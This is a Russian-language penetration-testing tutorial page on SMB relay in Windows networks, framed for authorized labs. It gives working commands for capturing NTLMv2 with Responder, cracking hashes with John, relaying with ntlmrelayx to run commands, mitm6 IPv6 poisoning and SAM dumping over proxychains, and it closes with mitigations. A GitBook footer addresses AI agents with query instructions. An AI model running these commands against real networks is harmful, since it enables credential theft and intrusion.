> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/smb-relay-in-windows-environments.md).

# SMB Relay в средах Windows

SMB-ретрансляция перехватывает аутентификацию NTLM и ретранслирует её на другой хост, когда подпись SMB не требуется. Этот рабочий процесс предназначен для авторизованных Windows-лабораторий и внутренних оценок.

## Условия для проверки

* Подпись SMB не требуется как минимум на одном целевом узле.
* Перехваченная учетная запись имеет полезные права доступа на цели ретрансляции.
* Серверы SMB и HTTP Responder отключены, когда `ntlmrelayx` обрабатывает ретрансляцию.
* Цели ретрансляции перечислены в `targets.txt`.

## Захват NTLMv2 с помощью Responder

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

<figure><img src="/files/4d2fa0f791f327d2dcab5142adf13f1bbd6dc548" alt="Responder listening for Windows name resolution traffic"><figcaption></figcaption></figure>

Сети Windows часто автоматически генерируют аутентификацию через инвентаризацию ПО, административные задачи, доступ к общим ресурсам и разрешение имен.

<figure><img src="/files/09ca20b08c178feccb870bd4d8cba60632e31f63" alt="Responder capturing NTLMv2 authentication"><figcaption></figcaption></figure>

<figure><img src="/files/bcd7e0697612459e02c91b6ca068185e29e5466c" alt="Captured NTLMv2 hash output"><figcaption></figcaption></figure>

## Оффлайн-взлом

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```

<figure><img src="/files/74fcc79f7e4109ae06d036795e9965d6729505a3" alt="John cracking captured NTLMv2 hash"><figcaption></figcaption></figure>

<figure><img src="/files/58a9f654b2f7df29f8a03c2f54e1ade6007af054" alt="Recovered password from NTLMv2 hash"><figcaption></figcaption></figure>

## Перечисление SMB

```bash
crackmapexec smb 192.168.71.0/24
```

<figure><img src="/files/38e196c1f439ec05835edc7cbc8117c7336427d4" alt="CrackMapExec SMB scan"><figcaption></figcaption></figure>

<figure><img src="/files/f39c84b81bb085e0bd7ea1fb5dd13e1cfd0d3e68" alt="SMB signing and host enumeration output"><figcaption></figcaption></figure>

Проверьте права учетной записи:

```bash
crackmapexec smb 192.168.71.0/24 -u '<user>' -p '<password>'
```

<figure><img src="/files/efda9497495e8bf17fed47c06adcd394fa7ddfa2" alt="Validating SMB access with recovered credentials"><figcaption></figcaption></figure>

## Ретрансляция с ntlmrelayx

Отключите SMB и HTTP в `Responder.conf`, затем запустите Responder:

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

Запустите ретрансляцию:

```bash
ntlmrelayx.py -tf targets.txt -smb2support
```

<figure><img src="/files/7533587fea25710279bbb5f3c3192af2e5d1df4f" alt="ntlmrelayx started with target file"><figcaption></figcaption></figure>

<figure><img src="/files/4fe1a9915f6ec6806b53d1d56e6aefad9832f184" alt="Successful SMB relay output"><figcaption></figcaption></figure>

## Проверка выполнения команд через ретрансляцию

Когда выполнение команд входит в область проверки, сначала проверьте ретрансляцию с помощью малозатратной команды:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```

Для более наглядного подтверждения запишите контекст выполнения во временный файл на целевом узле ретрансляции:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```

<figure><img src="/files/4eeb3082c86b2ec8d166f7edfb69087aa230a085" alt="ntlmrelayx executing a PowerShell command"><figcaption></figcaption></figure>

<figure><img src="/files/f8d28cc9011b5212a8d90e37095de6277a77bf3b" alt="SMB relay command execution validation"><figcaption></figcaption></figure>

## Вариант IPv6 с mitm6

```bash
mitm6 -d j0rdan.local
```

<figure><img src="/files/9c05c16648e2a381717382de1005e6aa9b4fd558" alt="mitm6 started against the lab domain"><figcaption></figcaption></figure>

<figure><img src="/files/4cd76efb2065f9ab25810b272bbb0d2c72dd12a9" alt="mitm6 DHCPv6 poisoning output"><figcaption></figcaption></figure>

IPv6-ретрансляция:

```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```

<figure><img src="/files/1ea660bf462e78956d504f4ca6ee3b989412956c" alt="ntlmrelayx IPv6 relay with SOCKS enabled"><figcaption></figcaption></figure>

Используйте ретрансляцию через прокси:

```bash
proxychains cme smb 192.168.71.151 -u '<user>' -p '<password>' -d '<domain>' --sam
```

## Ключевые моменты

* SMB-ретрансляция в основном зависит от того, что подпись SMB не требуется.
* Responder и `ntlmrelayx` должны быть настроены так, чтобы не конкурировать за SMB- или HTTP-трафик.
* Устраните проблему, включив обязательную подпись SMB, сократив использование NTLM, отслеживая злоупотребление LLMNR/NBNS/WPAD и ограничив права локального администратора.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
